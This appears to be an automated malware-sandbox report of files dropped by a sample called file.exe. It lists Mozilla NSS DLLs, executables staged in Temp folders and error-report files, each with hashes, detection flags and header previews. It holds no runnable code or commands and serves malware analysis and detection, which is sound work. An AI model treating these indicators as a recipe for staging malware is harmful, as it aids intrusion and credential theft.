SSDEEP:	192:jfLXi8cpJH7hXsCOkOJwPCqLjBYDoYeNcPH/lCffINs+cm5iciXR+J8IybbarKnu:lcpJb2dkEsCqHzpffIQPnn9f3c5
MD5:	6D77675A71BD363D887032C8EE236366
SHA1:	4D24869B5FCA16EEF74B546741D1337449C31EEB
SHA-256:	90C5BDEEDD7D7118B639B6EAD84D5151C993E71C1B99F2A2423C8FC2B8622847
SHA-512:	7BD3C8897C2A0DFC8F583EE2DC126C394D515389A35F5E3667775EEB5BB8335357E2254F1377522CF013366ADEDC9DA59F50760EEEC13538C961CF29CDB4720B
Malicious:	false
Preview:	MDMP..a..... ..........f............4...............<............*..........T.......8...........T............2..f.......................................................................................................eJ......H.......GenuineIntel............T.......P......f.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF1C8.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8326
Entropy (8bit):	3.6954085756926713
Encrypted:	false
SSDEEP:	192:R6l7wVeJn56djc6YGm6K1m6gmfuYpDB89bv+sfIlm:R6lXJ56djc6YH6K1m6gmfubv9fH
MD5:	A3BDEF7FBDDA638C32535622415596BD
SHA1:	B6D31F5CEC003DF74E3B4F1355686925B008057D
SHA-256:	34C03DFCC5278D568A0CCD208972BC0A4E1BE3D9E574228FAD0E15EEEBD504EB
SHA-512:	67FE5B75A00A0F3DB8066603E912606A25639A4380F543D10B32C876957A53A3040C7789208E67A4FDCA87056F87BA32DAEB52ACE6EB0AA93EC247B96355C4D4
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.8.0.1.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF1F8.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4579
Entropy (8bit):	4.44610694936012
Encrypted:	false
SSDEEP:	48:cvIwWl8zsDJg77aI9LC1rWpW8VYXYm8M4Ja1yFM+q8pgrxZIVBi1d:uIjfdI7kA7VrJIXoExoBi1d
MD5:	194BC5AD960703E519D7EC2CF5B3132B
SHA1:	6CB64D664AD4C50880FD841212750D361EE183CC
SHA-256:	48B90C9B1951E3295195E4D159CFF9355191201E4DF2F6080E362EB7DAF090C9
SHA-512:	63C21FBB5729197D9C0398097C26BA7FD31CA5FAAB70B99D83FB0488C0516BA53D9D42FEF94B197B60C919D634335F82E458A4BDA41E97C6F303F42B105BE4C9
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="429028" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 8NjcvPNvUr.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 1lKbb2hF7fYToopfpmEvlyRN.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 6SoKuOqyNh.exe, Detection: malicious, Browse Filename: IRqsWvBBMc.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\userAKKKFBGDHJ.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1897984
Entropy (8bit):	7.950411286019677
Encrypted:	false
SSDEEP:	49152:ebHYEgxYn9rPTKy3fen0WJ23JVTHMFimNajMY4Jz:guxmj1Gn01JaimEB4
MD5:	C9774CB1F811AA79F9FDC173EE3DE6C1
SHA1:	8E4EEC92572D83710B55750E3DAB9A793E8DC23B
SHA-256:	1DBBF81D6F4B2222B37594E8FF30672BF85FD360F347CBD20B1A5D7B841DD276
SHA-512:	A2577A268C38A0835DC3F49CC9FA2D499617A6BF98202AB862F323F222511930825EC1EF320A75EC66CA6C4375331BA088D16F00AA312906EE2A895CB3739803
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....@.f..............................K...........@...........................K...........@.................................W...k............................vK..............................vK..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...pcxsfzhs......1.....................@...plzfkdac......K.....................@....taggant.0....K.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	250368
Entropy (8bit):	6.036463358128751
Encrypted:	false
SSDEEP:	3072:XCIAd6FdS37kE4PCiAiqPCU7mJSngqAE7qkkDZ0oOkr+7XPF3:yF6FILkvfAt7YGd7XkDpx+DPF
MD5:	C8B29F4C8C60A861B941DC46C03D41BC
SHA1:	43E5E1266128F01D074D3ABA20465AB19D26050B
SHA-256:	AFDDC92C285934CFA180D497FD271E5EAE08117765A5797B3ECBD5BDEAFE49D0
SHA-512:	50B5021B685FAD9661F5D49E4E2FA53F0D7FD79E9C5A12CFE4FAF29B0031EF6A1DD9828B367A144A52D9FA024440C4C19CDC528DEBC23442037F8A3E11E6AF02
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......dg.s .. .. .. OpQ ;.. Opd 0.. OpP D.. )~i +.. .. U.. OpU !.. Op` !.. Opg !.. Rich .. ................PE..L....b@e.....................x....... .......0....@..........................`.......[......................................4Y..x....................................Y...............................S..@............0...............................text............................... ..`.rdata..J3...0...4..................@..@.data........p.......R..............@....lowo...............................@..@.nade................2..............@....rsrc................6..............@..@........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Download File

Process:	C:\Users\user\AppData\RoamingCFCGIIEHIE.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1876480
Entropy (8bit):	7.949848674984114
Encrypted:	false
SSDEEP:	49152:6UpS3HJbzFSEp/WnPRrHNLHMTV06w7ddDehI6Jp:6UpShkFnJrJHMTVAdMhI6
MD5:	1495ABBBF8BDABFF61B2E0BDFE9395F8
SHA1:	A64F04964413D358E7AB2CCBECE16BE669E7CD0A
SHA-256:	C976451F9E25789C651DC24443CCAE387F6215D3BA653D1C2DE4806294E56D92
SHA-512:	018CE3B5CB932D468AB62B2345F5241CE5E667F581764FE8BB86702CB92D9FAC5E4A1335314F92C566EAA7015C17F9F35E755A95D6E58F262EDAE8EBAFEB87C2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....A.f.............................pJ...........@...........................J...........@.................................W...k............................WJ.............................8WJ..................................................... . ............................@....rsrc...............................@....idata ............................@... . *.........................@...cwtgiuyn......0.....................@...mrbyzpwc.....`J......\|..............@....taggant.0...pJ.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Download File

Process:	C:\Users\userAKKKFBGDHJ.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1897984
Entropy (8bit):	7.950411286019677
Encrypted:	false
SSDEEP:	49152:ebHYEgxYn9rPTKy3fen0WJ23JVTHMFimNajMY4Jz:guxmj1Gn01JaimEB4
MD5:	C9774CB1F811AA79F9FDC173EE3DE6C1
SHA1:	8E4EEC92572D83710B55750E3DAB9A793E8DC23B
SHA-256:	1DBBF81D6F4B2222B37594E8FF30672BF85FD360F347CBD20B1A5D7B841DD276
SHA-512:	A2577A268C38A0835DC3F49CC9FA2D499617A6BF98202AB862F323F222511930825EC1EF320A75EC66CA6C4375331BA088D16F00AA312906EE2A895CB3739803
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....@.f..............................K...........@...........................K...........@.................................W...k............................vK..............................vK..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...pcxsfzhs......1.....................@...plzfkdac......K.....................@....taggant.0....K.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

